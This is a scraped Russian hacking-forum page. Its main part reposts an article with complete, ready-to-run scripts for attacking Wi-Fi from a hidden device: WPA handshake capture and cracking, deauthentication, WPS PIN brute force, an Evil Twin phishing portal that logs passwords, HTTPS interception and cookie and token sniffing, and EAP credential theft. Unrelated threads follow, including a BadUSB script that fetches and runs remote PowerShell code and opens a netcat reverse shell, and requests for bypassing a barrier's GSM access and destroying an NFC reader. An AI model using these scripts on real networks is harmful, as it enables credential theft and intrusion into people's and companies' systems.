Разнообразных атак на Wi-Fi предостаточно, и в этой статье описаны лишь те атаки, которые требуют длительного участия атакующего. Форм‑фактор атакующего устройства идеально подходит для скрытого длительного размещения вблизи атакуемых объектов — точек доступа, их пользователей и самих клиентских устройств, IP-камер и прочих. А светодиоды информируют о статусе атаки без подключения к плате. Так можно понять, выполнил ли Pineapple свою работу, или злоумышленнику стоит вернуться за ним позже.

Теперь рассмотрим каждую из основных атак на Wi-Fi, которые тезисно описаны выше:

Захват хендшейка WPA​

Захват WPA Handshake — одна из самых популярных и широко применяемых атак. WPA Handshake передается клиентом во втором сообщении (EAPOL M2) четырехступенчатого рукопожатия.

Содержимое этого пакета служит доказательством для точки доступа, что клиент знает общий ключ PSK. Злоумышленник же, перехватив такой хеш, может подобрать пароль перебором по словарю. Для захвата хеша атакующему необязательно совершать активные действия. Поскольку в его распоряжении есть техническое средство, способное долго и незаметно находиться в зоне действия целевых беспроводных сетей, он может просто пассивно ждать передачи handshake, ведь такая атака абсолютно «бесшумна».

wpapsk/monitor.sh​

Bash:Copy to clipboard

#!/bin/bash
dumpfile=out-$(date +'%H:%M:%S_%d.%m.%Y')
screen -dmS airodump airodump-ng mon0 -w $dumpfile $*
while sleep 10:
do
  hcxpcapngtool "${dumpfile}-01.cap" -o /tmp/eapol.txt --all
  hcxhashtool -i /tmp/eapol.txt --authorized -o /tmp/eapol_valid.txt
  hcxhash2cap --pmkid-eapol=/tmp/eapol_valid.txt -c /tmp/out-m1m2.pcap
  if echo 0 | aircrack-ng "/tmp/out-m1m2.pcap" | grep 'handshake' | grep -q -v '0 handshake'; then
    led yellow on 2> /dev/null
  fi
  rm -f /tmp/eapol.txt
  rm -f /tmp/eapol_valid.txt
  rm -f /tmp/out-m1m2.pcap
done
screen -XS airodump quit

Мониторя беспроводные сети, этот скрипт на указанных частотных каналах каждые 10 сек проверяет, не захвачен ли handshake. Как только Pineapple захватит его, загорится желтый светодиод. Стоит упомянуть, что есть вероятность захвата невалидного пароля, который также отправляется в виде handshake-пакета. Но handshake с таким паролем не содержит ответа от точки доступа (EAPOL M3) и считается половинчатым (Half-handhake). Чтобы не получить ложного срабатывания, скрипт отбрасывает такие handshakes и оставляет только те, которые содержат подтверждение, а значит, с правильным паролем.

Чтобы ускорить сбор handshake, можно подключить активную составляющую — рассылку пакетов деаутентификации. Она отправляет от имени клиента и точки доступа всем слышимым клиентам Wi-Fi-сетей специальные пакеты, закрывающие соединение (деаутентификация). Клиент, который на самом деле не собирался отключаться от точки доступа, выполнит повторное подключение, передав хеш пароля к этой сети.

wpapsk/deauth.sh​

Bash:Copy to clipboard

#!/bin/bash
mdk4 mon0 d $* | while read line
do echo $line
    led green on 2> /dev/null
    sleep '0.1'
    led green off 2> /dev/null
done

Процедура деаутентификации ведомая — она не переключает на устройстве частотные каналы самостоятельно, а следует за ведущим процессом monitor.sh, выполняющим эту работу. Все, что можно дополнительно сообщить скрипту, — список MAC-адресов атакуемых беспроводных сетей. Также в момент отправки деаутентификации Pineapple мигает зеленым светодиодом.

Деаутентификация имеет негативные побочные воздействия на атакуемую сеть — постоянно отключаются клиенты, поэтому запуск скрипта закомментирован в скрипте startup.sh и приведен как опциональный.

Во время охоты за handshake, опять же опционально, устройство может проверить принятые handshake самыми слабыми паролями по словарю. Перебирать больше 1000 вариантов не стоит, иначе быстро сядет аккумулятор. И если пароль подобран, загорается красный светодиод.

wpapsk/brute-wpapsk.sh​

Bash:Copy to clipboard

#!/bin/bash
while sleep 60:
do
  for pcap in *.cap
  do echo $pcap
    hcxpcapngtool "$pcap" -o /tmp/eapol.txt --all
    hcxhashtool -i /tmp/eapol.txt --authorized -o /tmp/eapol_valid.txt
    hcxhash2cap --pmkid-eapol=/tmp/eapol_valid.txt -c /tmp/out-m1m2.pcap
    for bssid in $(echo 0 | aircrack-ng "/tmp/out-m1m2.pcap" | grep 'handshake' | grep -v '0 handshake' | awk '{print $2}')
    do
      if [ -f "/tmp/$bssid" ]; then
        continue
      fi
      touch "/tmp/$bssid"
      aircrack-ng -w /home/pi/wpapsk/passwords_top1k.txt -b "$bssid" "/tmp/out-m1m2.pcap" -l "$bssid.txt"
      if [ -s "$bssid.txt" ]; then
        led red on 2> /dev/null
        exit
      fi
    done
    rm -f /tmp/eapol.txt
    rm -f /tmp/eapol_valid.txt
    rm -f /tmp/out-m1m2.pcap
  done
done

Для успеха злоумышленнику нужно на некоторое время незаметно поместить Pineapple в зону покрытия интересующих его Wi-Fi-сетей. И далее требуется главным образом просто набрать хешей, а серьезный брутфорс может быть выполнен позднее на более мощном оборудовании.

Брутфорс WPS​

Атака подбора PIN-кода WPS — еще один пример атаки на точку доступа Wi-Fi, требующей длительного времени. Беспроводных устройств с активным и подверженным перебору WPS достаточно много — от тех же беспроводных принтеров до корпоративных точек доступа. Если точка доступа не имеет некий дефолтный PIN либо неуязвима к Pixie Dust, позволяющему подобрать PIN-код за несколько попыток (секунд), полный перебор всего пространства PIN-кодов в худшем из сценариев для злоумышленника потребует 11 000 попыток. Хорошо, если каждая из попыток пройдет хотя бы за секунду. В результате в идеальном случае, если точка доступа его не заблокирует, на эту атаку может потребоваться несколько часов. Находиться возле атакуемой точки так долго с ноутбуком или телефоном неразумно, ведь процесс полностью автоматизирован и участие человека не требуется — нужен только Pineapple.

wpapsk/wps.sh​

Bash:Copy to clipboard

#!/bin/bash
function attacks(){
    AP="$1"
    sudo reaver -i mon0 -b "$AP" -F -w -N -d 2 -l 5 -t 20 -vv -K
    sudo reaver -i mon0 -b "$AP" -F -w -N -d 2 -l 5 -t 20 -vv
}
if echo "$1" | grep -q -E '^\w{2}:\w{2}:\w{2}:\w{2}:\w{2}:\w{2}$'; then # BSSID
    attacks "$1"
else # ESSID
    for AP in $(sudo wash -i mon0 -s | fgrep "$1" | awk '{print $1}')
    do echo "$AP"
        attacks "$AP"
    done
fi

Цели для атаки можно задать как по MAC-адресу точки доступа, так и по имени беспроводной сети. Скорее всего, злоумышленник будет располагать лишь именем сети. Впрочем, у средних и крупных компаний на одно и то же имя может приходиться множество точек доступа. Этот скрипт перебирает PIN-коды на каждой точке.

Evil Twin​

Атака «злой двойник» (Evil Twin) — это имитация беспроводной сети, к которой уже есть доверие. И доверие в этом случае у пользователей. Evil Twin — беспроводная социальная атака, беспроводной фишинг, направленный именно на людей, а не на клиентские устройства.

Так как не на все Wi-Fi-сети можно выполнить ранее описанные атаки и подобрать пароль злоумышленнику тоже удается далеко не всегда, можно спросить этот пароль у самих пользователей, которые часто оказываются самым слабым звеном периметра. В этом случае устройство Pineapple может работать как точка доступа Wi-Fi с тем же именем сети, что и атакуемая. С той лишь разницей, что сеть открытая. Атака полагается на доверие пользователя к подставной сети. Предполагается, что именно пользователь намеренно подключится к будто бы легальной беспроводной сети и введет пароль, который отправится прямо к злоумышленнику в открытом виде.

Чтобы повысить вероятность того, что кто‑то из пользователей подключится к подставной сети, устройство Pineapple точно так же, как и в прошлый раз, может отправлять пакеты деаутентификации, отключая всех клиентов от атакуемой беспроводной сети.

Для успешности атаки Evil Twin злоумышленнику требуется грамотно решить две задачи: запустить беспроводную сеть с именем, которое точно привлечет внимание людей, и, конечно же, устроить толковый претекстинг Captive-портала. В скрипте startup.sh прописаны компоненты, формирующие эту атаку. Первый компонент — это точка доступа. Скрипт запуска точки доступа выглядит следующим образом:

eviltwin/hostapd.sh​

Bash:Copy to clipboard

#!/bin/bash
essid="$1"
password="$2"
if [ -z "$password" ]; then
    config='hostapd-opn.conf'
else
    config='hostapd-wpa.conf'
fi
cp $config /tmp/$config
sed -i "s/__ESSID__/$essid/g" /tmp/$config
sed -i "s/__PASS__/$password/g" /tmp/$config
hostapd /tmp/$config | while read line
do
    if echo "$line" | fgrep -q 'AP-STA-CONNECTED'; then
        led green on 2> /dev/null
    elif echo "$line" | fgrep -q 'AP-STA-DISCONNECTED'; then
        led green off 2> /dev/null
    fi
done

Как только к Pineapple подключится клиент, загорится зеленый светодиод.

Шаблон конфигурационного файла для открытой беспроводной сети выглядит так:

eviltwin/hostapd-opn.conf​

Code:Copy to clipboard

interface=wlan0
driver=nl80211
ssid=__ESSID__
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0

Второй компонент — скрипт запуска DHCP-сервера:

eviltwin/dnsmasq.sh​

Bash:Copy to clipboard

#!/bin/bash
dnsmasq --conf-file=dnsmasq.conf -d | while read line
do
    if echo "$line" | fgrep -q 'DHCPACK'; then
        led yellow on 2> /dev/null
    fi
done

Желтый светодиод сигнализирует, что клиент получил IP-адрес и начал пользоваться такой беспроводной сетью. Конфигурация предлагаемой сети при этом следующая:

eviltwin/dnsmasq.conf​

Code:Copy to clipboard

domain=pineapple.local
interface=wlan0
dhcp-range=10.0.0.10,10.0.0.20,24h
dhcp-option=1,255.255.255.0
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
local-ttl=30
address=/#/10.0.0.1

Стоит заметить, что популярная программа dnsmasq — это не только DHCP-сервер, но и DNS-сервер. Причем сервер, работающий в весьма хакерском стиле: в последней строке ему отдается команда резолвить любой DNS-запрос от жертвы IP- адресом Pineapple. Так абсолютно все запросы обращаются в атакующее устройство.

Чтобы мимо хакерского устройства не прошел ни один HTTP-запрос, с помощью iptables заворачивается весь веб‑трафик от клиентов на Pineapple на уровне сети:

Code:Copy to clipboard

iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-ports 80

Настала очередь третьего, самого главного звена атаки — небольшого Captive- портала, реализованного через встроенный в интерпретатор PHP веб‑сервер:

eviltwin/captive.sh​

Bash:Copy to clipboard

#!/bin/bash
php -S 10.0.0.1:80 captive.php $* | while read line
do echo $line
    if echo "$line" | fgrep -q "password"; then
      led red on
    fi
done

Реализовать веб‑сервер проще, наверное, уже нельзя. Если пользователь введет пароль, то Pineapple оповестит об этом красным светодиодом. Обрабатывает все запросы скрипт captive.php:

eviltwin/captive.php​

PHP:Copy to clipboard

<?php
$root = str_getcsv(file_get_contents('/proc/self/cmdline'), "\0")[4];
$script = str_replace('..', '', urldecode($_SERVER['SCRIPT_NAME'])); // safety
header('HTTP/1.1 200 OK');
header('Content-type: '); // disable Content-Type
if ( is_file($root . $script) )
    echo file_get_contents($root . $script);
else
    echo file_get_contents($root . "/index.html");
foreach($_POST as $par=>$val)
    error_log( "\x1b[31m" . "$par: $val" . "\x1b[0m" );
?>

Правильная реализация Сaptive-портала — очень важный и тонкий момент. Как правило, современные браузеры практически ничего не отправляют по открытому HTTP-протоколу, а во многих браузерах поддержка этого протокола и вовсе отключена. Но Captive-портал — это общепринятый механизм, ограничивающий доступ в интернет с открытых беспроводных сетей, поэтому все современные ОС сразу после подключения проверяют наличие Captive-порталов, отправляя специальный HTTP-запрос. Если в этот момент не дать понять атакуемой стороне, что Captive-портал существует, — атака сорвется. Для этого нужно возвращать клиенту HTTP-ответ с кодом 200 и непустое содержимое страницы, даже если запрос делается на несуществующий ресурс. В случае успеха система автоматически отображает пользователю фишинговую страницу, выпытывающую те или иные данные.

Captive.php — лишь миниатюрная обертка между запросами клиентов‑жертв и веб‑страниц, которые они видят. Сейчас веб‑страницы достаточно сложны, и верстать их с нуля не самое гениальное решение. Вместо этого можно сохранить любую веб‑страницу аутентификации браузером и скопировать все файлы в eviltwin/www/. Таким образом можно обрабатывать любые HTTP-запросы единым PHP- скриптом и во время атаки максимально абстрагироваться от кодинга.

Так как данные с веб‑форм почти всегда отправляются по HTTP методом POST, все подобные запросы будут сохранены. А если среди таких запросов есть параметр password, то captive.sh отреагирует на это красным светодиодом.

Введенные пользователем данные подсвечены красным цветом в терминале, чтобы можно было видеть статус и при удаленном подключении по 4G.

Весь вывод от всех скриптов также сохраняется на карте памяти Pineapple. Поскольку атака Evil Twin социальная, то под каждую конкретную ситуацию может потребоваться верстка своего варианта оформления страницы Captive-портала. Злоумышленник необязательно должен запрашивать пароль от конкретной точки доступа. Жертвам может быть предложена любая веб‑форма, хоть от соцсетей, хоть от любого другого сайта. Главное — убедить пользователя ввести туда те данные, которые злоумышленник нацелен получить. Да и необязательно имитировать легитимную сеть, важно ведь заинтересовать этой сетью пользователя, это может быть хоть «Free Wi-Fi».

Последний, но не обязательный штрих — отключение клиентов от легитимной сети (логическое глушение сигнала):

eviltwin/deauth.sh​

Bash:Copy to clipboard

#!/bin/bash
mdk4 mon0 d -w <(getmac -i wlan0) $* | while read line
do echo "$line"
done

Во время атаки Evil Twin с глушением сигнала легитимных точек важно не «выстрелить себе в ногу» и исключить из списка целей фишинговую беспроводную сеть.

Атака Evil Twin именно социальная, то есть требует непосредственных действий пользователя. И социальная она, как правило, в двух смыслах.

Во‑первых, пользователь сам должен выбрать подставную сеть для подключения, поскольку клиентское устройство само не переподключится с закрытой сети на открытую, даже если имя подставной сети в точности соответствует легитимной. Лишь у старых ОС и на старых устройствах была такая неразборчивость, когда сеть могла автоматически смениться с WPA на OPN при наличии одинакового имени.

Во‑вторых, учетные данные за пользователя тоже никто не введет. Как только такой пользователь найдется, при открытии любой веб‑страницы ему навязчиво будет предложено ввести пароль, который принимается уже открытым текстом и сохраняется в устройстве Pineapple.

Атака Evil Twin может быть эффективна на режимных объектах со строгими правилами, где «изголодавшиеся по интернету» сотрудники готовы на многое, в том числе и ввести любые данные ради доступа к сети. Там злоумышленник, сыграв на слабостях человека, вполне может раздобыть и доменную учетку, и все на свете, с чем он потом удаленно зайдет в чью‑то почту или подключится по VPN во внутреннюю сеть.

Ханипот​

Нечто похожее на Evil Twin может быть развито в другую атаку, но с прицелом уже на клиентские устройства, а не пользователей.

В предыдущем разделе, когда к Pineapple подключается пользователь, его лишь скромно просят ввести конфиденциальные данные. Но можно поступить проще. Что, если компьютер пользователя уязвим или на вход в систему стоит слабый пароль? И что, если в комп в момент его подключения к «злой» беспроводной сети вставлен кабель, соединяющий с локальной сетью? Тогда путь проникновения может быть для злоумышленника еще более легким.

Сценарий нападения «Honeypot» использует те же самые механизмы запуска точки доступа hostapd.sh и раздачи IP-адресов dnsmasq.sh, что и у Evil Twin. Но далее сценарий развивается аналогично BadUSB-ETH. Сразу после старта беспроводной сети запускаются глобальные атакующие скрипты, а как только появляется клиент с IP-адресом, на него автоматически идет шквал таргетированных атак:

honeypot/attack.sh​

Bash:Copy to clipboard

#!/bin/bash
HOME='/home/pi'
screen -dmS Xorg xinit -- /usr/bin/X :0 -br # optional for GUI attacking script
rm /tmp/honeypot_attacks.txt 2> /dev/null
for script in $(find on_network/ -type f -perm -u+x)
do
  exec sudo $script wlan0 "" &
done
while sleep 1
do
  arp -an | sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on wlan0/\1/p' | while read ip
  do
    egrep -q "^$ip$" /tmp/honeypot_attacks.txt 2> /dev/null && continue || echo "$ip" >> /tmp/honeypot_attacks.txt
    for script in $(find on_client/ -type f -perm -u+x)
    do
      exec $script $ip "" 10.0.0.1 &
    done
  done
done

Скрипт запускает атаки снова и снова для вновь подключившихся клиентов. Тут используется атакующий арсенал скриптов, уже описанный в статье о BadUSB-ETH. В дополнение к тому, что уже описано, а это и атаки на NetBIOS-запросы, и подмена содержимого веба, и кража cookies, может быть добавлено еще многое. Например, вмешательство в HTTPS-трафик жертв, подключившихся к подставной точке доступа. Для этого нужно завернуть на себя 443/TCP-порт и при подключении внедрить самоподписанный сертификат. Если в перехваченном трафике встречаются чувствительные данные, то в логах такая строка выделяется цветом, а на устройстве загорается желтый светодиод:

honeypot/on_network/sslsplit.sh​

Bash:Copy to clipboard

#!/bin/bash
echo '[*] SSL splitting'
[[ $(iptables -t nat -vnL PREROUTING | grep "$1" | grep 443) = '' ]] && {
    iptables -t nat -A PREROUTING -i "$1" -p tcp --dport 443 -j REDIRECT --to-ports 1080
}
[[ $(pgrep /usr/bin/socat) = '' ]] && {
    if [ ! -s /tmp/key.pem -o ! -s /tmp/cert.pem -o ! -s /tmp/cert_key.pem ]; then
        openssl req -new -x509 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes -batch
        cat /tmp/cert.pem /tmp/key.pem > /tmp/cert_key.pem
    fi
    #sslsplit -k /tmp/key.pem -c /tmp/cert.pem -l /tmp/con.log -L sslsplit.log -P autossl 0.0.0.0 1080 &
    socat -v openssl-listen:1080,fork,cert=/tmp/cert_key.pem,cafile=/tmp/cert.pem,verify=0 open:sslsplit.log,creat,append 2> /dev/null &
}
tail -n 0 -f sslsplit.log | while read line
do
    if echo "$line" | grep -ai -e cookie -e passw -e token --color=auto; then
        led yellow on 2> /dev/null
    fi
done

В конце концов, в файле sslsplit.log лежит весь расшифрованный трафик, доступный для дальнейшего изучения и поиска секретов уже вручную. Вообще, необязательно подключившееся устройство станет передавать данные в зашифрованном виде, вполне возможно, что будет использован и обычный HTTP:

honeypot/on_network/http.sh​

Bash:Copy to clipboard

#!/bin/bash
echo '[*] HTTP cleartext monitoring'
ngrep -d "$1" -i 'cookie|passw|token' 'port 80 or port 8080' 2>&1 > /tmp/ngrep.log &
tail -n 0 -f /tmp/ngrep.log | while read line
do
    if echo "$line" | grep -v '^match:' | grep -ai -e cookie -e passw -e token --color=auto;
      led yellow on 2> /dev/null
    fi
done

Если какие‑либо чувствительные данные передаются по незащищенному HTTP, это также видно в логах выделенным цветом и по желтому светодиоду на устройстве. Злоумышленник может записать весь трафик клиентов:

honeypot/on_network/tcpdump.sh​

Bash:Copy to clipboard

#!/bin/bash
echo '[*] writing trafic'
time=$(date +'%H:%M:%S_%d.%m.%Y')
tcpdump -i "$1" -nn -w "${time}.pcap"

Тут жертва никак не ограничивается в своих действиях, все попытки что‑то скачать по незащищенному HTTP или согласиться на самоподписанный сертификат по HTTPS только приветствуются ханипотом.

Также персонально для каждого подключившегося клиента могут быть использованы реализованные в статье про BadUSB-ETH скрипты:

Возможные атаки отнюдь не ограничиваются этим скромным списком и могут быть значительно расширены каждым злоумышленником индивидуально под ту или иную ситуацию.

Атака EAP​

Как я уже говорил, атака Evil Twin полностью социальная, с минимумом технических требований к атакуемым целям. Атака Honeypot (ханипот) — уже больше с прицелом на технические уязвимости клиентских устройств, а не на слабости пользователей, но все же требует от пользователя подключиться. EAP- атака полностью ориентирована на устройства.

При EAP-атаке происходит почти то же самое, что и в Evil Twin, где имитируется легитимная точка доступа и атакуются ее клиенты, только атакуется именно само устройство клиента — железка, а не человек. Это сводит к нулю социальный фактор и не требует вообще никакого участия пользователя — что называется zero click. Атака получается на 100% надежной и быстрой, если подверженное этой атаке устройство есть.

Уязвимость кроется в том, что само устройство автоматически небезопасно передает учетные данные для подключения к сети WPA Enterprise.

Требуется запустить немного пропатченную версию hostapd-wpe, сохраняющую более подробные логи при получении учетных данных, а также предложить клиентскому устройству список методов аутентификации в обратном порядке — начиная с самого небезопасного. И если клиент согласится, пароль или хеш удастся перехватить:

eap/hostapd-eaphammer.sh​

Bash:Copy to clipboard

#!/bin/bash
essid="$1"
cp /opt/eaphammer/local/hostapd-eaphammer/hostapd/hostapd.conf /tmp/hostapd-eaphammer.conf
sed -i "s/interface=.*/interface=wlan0/g" /tmp/hostapd-eaphammer.conf
sed -i "s/ssid=.*/ssid=$essid/g" /tmp/hostapd-eaphammer.conf
sudo /opt/eaphammer/local/hostapd-eaphammer/hostapd/hostapd-eaphammer -x /tmp/hostapd-eaphammer.conf | while read line
do
    if echo "$line" | fgrep -q 'AP-STA-CONNECTED'; then
        led green on 2> /dev/null
    elif echo "$line" | fgrep -q 'AP-STA-DISCONNECTED'; then
        led green off 2> /dev/null
    elif echo "$line" | fgrep -q 'STA'; then
        led yellow on 2> /dev/null
    elif echo "$line" | fgrep -q 'username:'; then
        led red on 2> /dev/null
    fi
done

Для привлечения клиентов может быть запущен скрипт deauth.sh, отключающий клиентов от их легитимных точек доступа.

Нужно обратить особое внимание, что при имитации легитимной точки доступа WPA Enterprise можно получить пароль в открытом виде! Это зависит от того, как легитимная беспроводная сеть запомнилась на клиентском устройстве. Если это GTC, то пароль можно получить открытым текстом, если MSCHAP — в виде хеша NetNTLMv1, пароль из которого можно восстановить за конечное время. А в качестве самих учетных записей в WPA Enterprise, как правило, используются доменные логин и пароль. Это значит, что, захватив такую учетку, злоумышленник либо тут же подключается по Wi-Fi и попадает сразу во внутреннюю сеть компании, причем уже с доменной учетной записью, либо заходит в него удаленно, например по VPN, при его наличии.

Это может показаться весьма странным, ведь при атаках на сети WPA PSK, которые есть практически в каждом доме, злоумышленник довольствовался бы лишь handshake, который надо еще брутить и брутить, порою весьма долго. А при атаках на WPA Enterprise он получает либо NetNTLMv1-хеш, который на порядки слабее того же PSK и за умеренное время может быть сведен до LM-хеша, либо пароль открытым текстом! Хотя WPA Enterprise считается стандартом для предприятий и, по идее, должен быть достаточно защищенным.

Эта уязвимость справедлива только для сетей WPA EAP (Enterprise), встречающихся в корпоративном сегменте, что делает ее весьма опасной, ведь она может стать точкой проникновения в компанию со всеми вытекающими последствиями.

Pineapple, заряженный такой атакой, может быть помещен как в зоне действия легитимных точек доступа, так и за их пределами на достаточно длительный срок, как продемонстрировано на следующем рисунке. Клиенты, которые и будут мишенями для атаки, подвижны и обычно в начале или конце рабочего дня часто выходят из зоны покрытия, где их может поджидать Pineapple.

Pineapple возле офиса компании ловит корпоративные учетные данные
Как правило, у каждой компании, открытой или режимной, всегда есть место, через которое помещение покидают все сотрудники, — главный вход. Это небольшая область, где за короткое время могут проходить сотни или тысячи людей и где уже нет приема корпоративной беспроводной сети. Именно эта область может быть зоной действия Pineapple. И сотрудники, еще не успевшие отключить Wi-Fi на устройствах, сами того не подозревая, автоматически скомпрометируют свои учетные записи и тем самым откроют двери во внутреннюю сеть компании. Злоумышленник, получивший туда доступ с доменной учетной записью, с большой долей вероятности сможет скомпрометировать всю внутреннюю инфраструктуру, причем достаточно быстро.

Постэксплуатация​

Если подбор пароля или иная атака завершились успешно, злоумышленник вновь может использовать Pineapple уже для удаленного доступа к целевой Wi-Fi-сети через VPN, прокинутый по 4G. Pineapple берет на себя задачу физического линка с сетью и логической маршрутизации пакетов туда:

Code:Copy to clipboard

wpa_passphrase 'target_essid' 'password' > wifi.conf
wpa_supplicant -i wlan0 -c wifi.conf & dhclient wlan0
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE

Удаленный атакующий, имеющий VPN-соединение с Pineapple, может получить сетевой доступ к интересующей его Wi-Fi-сети, просто указав Pineapple в качестве сетевого шлюза:

Code:Copy to clipboard

route add -net 192.168.1.0/24 gw pineapple
nmap 192.168.1.0/24

Теперь ему остается только положить Pineapple вблизи скомпрометированного беспроводного устройства и вернуться в комфортное помещение.
Pineapple в качестве 4G-шлюза к скомпрометированному беспроводному устройству
Например, беспроводные принтеры, которых всегда предостаточно почти у любой организации, часто имеют не самые надежные пароли. Второй «ногой» такие принтеры, как правило, стоят уже в локальной сети.
Pineapple по VPN предоставит злоумышленнику удаленный сетевой доступ в скомпрометированную беспроводную сеть, где могут быть развиты уже последующие длительные атаки. И на этом участие Pineapple заканчивается. Дальше уже начинается фаза внутреннего проникновения. Но это уже совсем другая история…

КАК ЗАЩИТИТЬСЯ​

Возможность совершить так много атак с использованием одного миниатюрного устройства заставляет задуматься о кардинальных мерах защиты, устраняющих «на корню» все перечисленные атаки.
Устройство Pineapple хорошо демонстрирует главным образом незаметность атак. Ведь все описанные атаки уже давно можно проводить с обычного ноутбука. Но мало кто станет этим заниматься, сидя в сугробе возле окна под присмотром камеры.

Главное, что можно рекомендовать безопасникам, — это реализовать тщательный контроль за беспроводными сетями. В идеале их зона покрытия не должна выходить за пределы контролируемой зоны. Даже если беспроводные сети уязвимы, нужно сделать эти уязвимости исключительно внутренними, не давать их проэксплуатировать за пределами офиса. В таком случае у потенциального злоумышленника не будет даже физической возможности начать атаки, и это пресечет все угрозы.

Автор @s0i37
Lead cybersecurity analyst at USSC t.me/s0i37_channel
источник xakep.ru

Модификация звука меню блютуз колонки.
ID: 676535aeb4103b69df373609
Thread ID: 76269
Created: 2022-11-20T14:04:41+0000
Last Post: 2022-11-22T14:01:57+0000
Author: Onyx450
Replies: 4 Views: 671

Всем здравствуйте такое дело наткнулся на одну тему можно изменить голосовое меню блютуз колонки с помощью реверс инженерии ,нужно выпоять sp flash чип, считать через програматор дамп с sp flash чипа и поменять некоторые строки кода но вот в чем загвозка у него был отдено припаян флеш чип и он нашёл его по маркировке,а уменя на колонке всего два чипа который один из них усилитель звука а второй я даже не знаю так как по маркировке которая на нем набита никакой информации в сети нет.что можно предпринять и как решить такую проблему,посоветуйте пожалуйста).

Udemy course how to make USB Rubber Ducky
ID: 676535aeb4103b69df3735a2
Thread ID: 100683
Created: 2023-10-23T03:37:18+0000
Last Post: 2023-11-16T05:19:32+0000
Author: blackhunt
Replies: 2 Views: 671

Udemy - Design your own USB Rubber Ducky Ethical Hacking tool!

[Download Download](https://mega.nz/file/8FgXlKDR#EJP0B_hCHUkCKc3qs- qRElTdVHeXBR6RqQ5nHM6eXwo)

Enjoy!

Сделать плохой USB с помощью Raspberry Pi Pico
ID: 676535aeb4103b69df37358f
Thread ID: 106094
Created: 2024-01-18T08:07:02+0000
Last Post: 2024-01-20T07:17:12+0000
Author: xsTao
Replies: 5 Views: 655

DELAY 200
GUI r
DELAY 200
STRING powershell -NoP -NonI
#Открыть powershell без прав администратора1705565078375.png
DELAY 200
ENTER

DELAY 2000
STRING Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
ENTER
#Недостаточно разрешений для установки choco
DELAY 200
STRING choco install netcat
ENTER
DELAY 200
STRING nc -e powershell.exe 192.168.8.10 4444
ENTER

我可以在此处以管理员模式打开 PowerShell 吗?1705565847669.png

Jailbreak для айфонов с нуля , от а до я
ID: 676535aeb4103b69df37360e
Thread ID: 74880
Created: 2022-10-29T19:21:08+0000
Last Post: 2022-10-29T19:21:08+0000
Author: Gufi
Prefix: Статья
Replies: 0 Views: 654

Jailbreak - что это , и с чем его едят.

Jailbreak - “побег из тюрмы”- расширения возможностей яблочного устройства ,(по типу рута на андроид) ,Доступ к файлам , ядру , и модификация системы.

Виды джейлбрейка:

Привязанный - Привязанный джейлбрейк временно взламывает устройство до перезагрузки. После того, как вы выключите устройство (или оно разрядится), его можно будет снова включать, перед этим обязательно подключив к компьютеру.

Полупривязанный - Полупривязанный джейлбрейк позволяет как обычно включать устройство после того, как оно отключилось. Однако сам джейлбрейк при этом будет потерян, и его нужно будет переустанавливать заново через компьютер.

Полуотвязанный - Полуотвязанный джейлбрейк позволяет запускать устройство без подключения к компьютеру, но джейлбрейк-твики не будут работать, пока вы не запустите джейлбрейк-приложение на самом устройстве.

Непривязанный - Непривязанный джейлбрейк никак не страдает от перезагрузки устройства.

Это самый удобный вид джейлбрейка, но и добиться его сложнее всего. Для этого нужны мощные эксплойты и высокие навыки. Непривязанный джейлбрейк можно установить через компьютер или же через само устройство. К примеру, через сайт в Safari.

Как узнать ,есть ли на вашу версию ios джейлбрейк:

Прекрасный сайт https://ipsw.guru/jailbreak/ вам поможет. Выбираете свой девайс , модель , ios. И вам показывают все возможные джейлбрейки.

Установка jailbreak…

Сперва идем на наш сайт
https://ipsw.guru/jailbreak/ и смотрим есть ли джейл на наш девайс , в нашем случаи будет iphone 5s , jailbreak uncover.

Готово ! Мы прошили наш девайс , теперь посмотрим на возможности взломанного яблока)

Возможности jailbreak

После установки джейла , у нас должна появиться cydia - приложение которое позволяет пользователю искать и устанавливать пакеты программного обеспечения для iPhone, iPod Touchили iPad после открытия доступа к файловой системе устройства

Вообщем мы теперь имеем доступ к файловой системе и теперь можем делать свои конфигурации ios.

Проблемы с установкой

Установка у всех джейлов разная , например checkra1n нужно ставить на специальном дистрибутиве (делать загрузочную флешку с checkra1n.iso , и уже через нее прошивать телефон )

Чтобы избежать проблем , перечитывайте документацию по установке джейлбрейка , убедитесь что джейлбрейк подходит к вашей ios ,или перепробуйте все джейлбрейки рабочие на вашей ios.

Итоги :)
Мы успешно поставили jailbreak на ваш девайс , теперь вы полностю независимый пользователь яблока , но только до первой перезагрузки))

Чтобы джейл не слетал , не перезагружайте телефон , не доводите до полного выключения , и в общем аккуратно пользуйтесь)
Моя первая авторская статья , не судите строго )

How Can I Convert Cookie Files
ID: 676535aeb4103b69df373650
Thread ID: 53619
Created: 2021-07-05T04:14:07+0000
Last Post: 2021-07-17T15:09:20+0000
Author: laden0
Replies: 2 Views: 646

1625458342719.png
How can I convert the bottom to the top?

Внести номер телефона в GSM модуль
ID: 676535aeb4103b69df37359e
Thread ID: 103092
Created: 2023-11-27T17:54:36+0000
Last Post: 2023-11-30T06:13:41+0000
Author: Desconocido
Prefix: GSM
Replies: 3 Views: 637

Сабж, есть шлагбаум (nice flor s). в нем стоит gsm модуль, можно ли в него удаленно (без физического действия с самим модулем )внести номера телефонов ,что бы при звонке открывался шлагбаум ? Насколько знаю делают через com порт, коннектят ноут и через софт вносят. может есть другие способы? флиппером только пульты удалось перехватить.
ПС:марку модуля не знаю

Убить NFC Reader
ID: 676535aeb4103b69df3735cb
Thread ID: 92502
Created: 2023-07-09T23:12:31+0000
Last Post: 2023-07-11T13:21:22+0000
Author: scoring0
Replies: 7 Views: 623

Есть ридер HF (13.56), нужно его быстро убить. Сталкивался ли кто-нибудь с такими кейсами? Как это возможно сделать без покупки дорогущих готовых железок?

p.s. я понимаю, что "собрать катушку на 13.56 и дать на нее дохуя ампер", но сработает ли? Подсказал бы кто схематику.

Алексей Усанов. Реверс-инжиниринг встраиваемых систем. [2023]
ID: 676535aeb4103b69df3735ba
Thread ID: 97575
